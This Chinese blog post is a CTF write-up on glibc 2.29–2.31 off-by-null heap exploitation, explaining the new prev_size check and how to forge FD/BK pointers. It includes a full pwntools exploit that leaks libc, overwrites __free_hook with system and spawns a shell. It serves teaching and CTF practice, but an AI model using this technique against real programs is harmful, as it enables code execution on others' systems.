2.29 off by null

2.27 之前的 off by null 的利用手法总体来说比较简单伪造一个 presize 即可,但是在 glibc 2.29的更新当中,unlink 里加入的 presize check 使得之前的利用手法不再有效,并且 off by null 的难度提高不少。

/* consolidate backward */
if (!prev_inuse(p)) {
    prevsize = prev_size (p);
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
    unlink_chunk (av, p);
}

在向低地址合并的时候会检测 presize 是否等于前一个 chunk 的 size 位。2.29 之前的双链表结构的检查我们是借助 unsorted bin 来完成的,然后伪造一个 presize 。而 2.29 我们不仅要伪造 presize ,同时也要伪造 FD 和 BK 。伪造出来的 FD 和 BK 要满足以下条件:

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))      
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);

总的来说就是要我们伪造出来的堆块满足两个条件:

1、presize = fake_chunk size

2、fd->bk = fake_chunk , bk->fd = fake_chunk

 我们利用largebin 残留的 fd_nextsize , bk_nextsize 和 smallbin 残留的 bk 指针,以及 fastbin 的 fd 指针来伪造 FD 和 BK。

具体实例我们用一道题来讲解 2019-BALSN-CTF-plaintext

原本他是一道 2.29 的 off by null 加 orw 题,由于这里主要讲 off by null 我就从一个师傅的博客上找到了他魔改后的题目。(由于这个off by null 的方法一直持续到2.31,故我就用的是我本机 2.31 的libc,且为了调试方便我关闭了本机 aslr )

 

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./note')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size,content):
    s.recvuntil(b'Choice: ')
    s.sendline(b'1')
    s.recvuntil(b'size: ')
    s.sendline(str(size))
    s.recvuntil(b'content: ')
    s.send(content)

def delete(index):
    s.recvuntil(b'Choice: ')
    s.sendline(b'2')
    s.recvuntil(b'idx: ')
    s.sendline(str(index))

def show(index):
    s.recvuntil(b'Choice: ')
    s.sendline(b'3')
    s.recvuntil(b'idx: ')
    s.sendline(str(index))    

for i in range(6):
    add(0x1000 ,b'a') # 0-5

add(0x1000 - 0x440 ,b'a') # 6 make the second byte of largebin's address is \x00 to avoid the influence of \x00

for i in range(7):
    add(0x28 ,b't')   # 7-13

# counterfeit fake_chunk

add(0xb20 ,b'large') #14 chunk head address is 0x......0010
add(0x10 ,b'a') #15

delete(14)

add(0x1000 ,b'a') # make old chunk 14 to large bin

add(0x28 ,p64(0) + p64(0x521) + p8(0x40)) # 16

# make fake_chunk's fd->bk = fake_chunk

add(0x28 ,b'a') # 17
add(0x28 ,b'a') # 18
add(0x28 ,b'a') # 19
add(0x28 ,b'a') # 20

for i in range(7):
    delete(7+i) # full tcache

delete(19)
delete(17)

for i in range(7):
    add(0x28 ,b't')   # 7-13

add(0x400 ,b'b') # 17 make fast bin to small bin

add(0x28 , p64(0) + p8(0x20)) # 19 get a chunk from small bin , and the another bin will be thrown into tcache, successfully make fake_chunk's fd->bk = fake_chunk

# make fake_chunk's bk->fd = fake_chunk

add(0x28 ,b'clean') # 21 clean tcache

for i in range(7):
    delete(7+i)

delete(18)
delete(16)

for i in range(7):
    add(0x28 ,b't')   # 7-13

add(0x28 ,p8(0x20)) #16 write one byte to fastbin's fd to make fake_chunk's bk->fd = fake_chunk

# off by null

add(0x28 ,b'clean') # 18 clean tcache

add(0x28 ,b'a')  #22
add(0x5f8 ,b'a') #23
add(0x100 ,b'a') #24

delete(22)
add(0x28 ,b'\x00'*0x20 + p64(0x520)) # 22
delete(23)

# leak libc and attak

add(0x40 ,b'a') # 23
show(18)
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']

success('libc_base=>' + hex(libc_base))

__free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']

delete(20)
delete(21)
add(0x50 ,b'a'*0x20 + p64(0) + p64(0x31) + p64(__free_hook))
add(0x28 ,'/bin/sh\x00')
add(0x28 ,p64(system_addr))
delete(21)

#gdb.attach(s)
s.interactive()

 

附件

百度网盘

提取码:uepc

 

 

参考链接

https://bbs.pediy.com/thread-257901-1.htm#msg_header_h2_3

https://www.anquanke.com/post/id/236078

posted @ 2022-02-18 13:22  狒猩橙  阅读(263)  评论(0编辑  收藏  举报